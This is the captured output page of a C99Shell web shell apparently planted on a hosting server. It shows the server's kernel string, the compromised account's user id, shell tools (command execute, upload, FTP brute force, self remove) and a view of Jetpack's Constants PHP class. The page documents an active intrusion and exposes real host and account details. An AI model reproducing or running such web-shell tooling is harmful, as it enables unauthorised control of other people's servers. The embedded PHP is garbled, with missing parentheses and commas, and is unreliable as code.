!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/var/softaculous/sitepad/editor/site-data/plugins/kkart-pro/vendor/automattic/jetpack-constants/src/   drwxr-xr-x
Free 293.89 GB of 429.69 GB (68.4%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     class-constants.php (3.29 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
/**
 * A constants manager for Jetpack.
 *
 * @package automattic/jetpack-constants
 */

namespace Automattic\Jetpack;

/**
 * Class Automattic\Jetpack\Constants
 *
 * Testing constants is hard. Once you define a constant, it's defined. Constants Manager is an
 * abstraction layer so that unit tests can set "constants" for tests.
 *
 * To test your code, you'll need to swap out `defined( 'CONSTANT' )` with `Automattic\Jetpack\Constants::is_defined( 'CONSTANT' )`
 * and replace `CONSTANT` with `Automattic\Jetpack\Constants::get_constant( 'CONSTANT' )`. Then in the unit test, you can set the
 * constant with `Automattic\Jetpack\Constants::set_constant( 'CONSTANT', $value )` and then clean up after each test with something like
 * this:
 *
 * function tearDown() {
 *     Automattic\Jetpack\Constants::clear_constants();
 * }
 */
class Constants {
    
/**
     * A container for all defined constants.
     *
     * @access public
     * @static
     *
     * @var array.
     */
    
public static $set_constants = array();

    
/**
     * Checks if a "constant" has been set in constants Manager
     * and has the value of true
     *
     * @param string $name The name of the constant.
     *
     * @return bool
     */
    
public static function is_true$name ) {
        return 
self::is_defined$name ) && self::get_constant$name );
    }

    
/**
     * Checks if a "constant" has been set in constants Manager, and if not,
     * checks if the constant was defined with define( 'name', 'value ).
     *
     * @param string $name The name of the constant.
     *
     * @return bool
     */
    
public static function is_defined$name ) {
        return 
array_key_exists$nameself::$set_constants )
            ? 
true
            
defined$name );
    }

    
/**
     * Attempts to retrieve the "constant" from constants Manager, and if it hasn't been set,
     * then attempts to get the constant with the constant() function. If that also hasn't
     * been set, attempts to get a value from filters.
     *
     * @param string $name The name of the constant.
     *
     * @return mixed null if the constant does not exist or the value of the constant.
     */
    
public static function get_constant$name ) {
        if ( 
array_key_exists$nameself::$set_constants ) ) {
            return 
self::$set_constants$name ];
        }

        if ( 
defined$name ) ) {
            return 
constant$name );
        }

        
/**
         * Filters the value of the constant.
         *
         * @since 8.5.0
         *
         * @param null The constant value to be filtered. The default is null.
         * @param String $name The constant name.
         */
        
return apply_filters'jetpack_constant_default_value'null$name );
    }

    
/**
     * Sets the value of the "constant" within constants Manager.
     *
     * @param string $name The name of the constant.
     * @param string $value The value of the constant.
     */
    
public static function set_constant$name$value ) {
        
self::$set_constants$name ] = $value;
    }

    
/**
     * Will unset a "constant" from constants Manager if the constant exists.
     *
     * @param string $name The name of the constant.
     *
     * @return bool Whether the constant was removed.
     */
    
public static function clear_single_constant$name ) {
        if ( ! 
array_key_exists$nameself::$set_constants ) ) {
            return 
false;
        }

        unset( 
self::$set_constants$name ] );

        return 
true;
    }

    
/**
     * Resets all of the constants within constants Manager.
     */
    
public static function clear_constants() {
        
self::$set_constants = array();
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.0937 ]--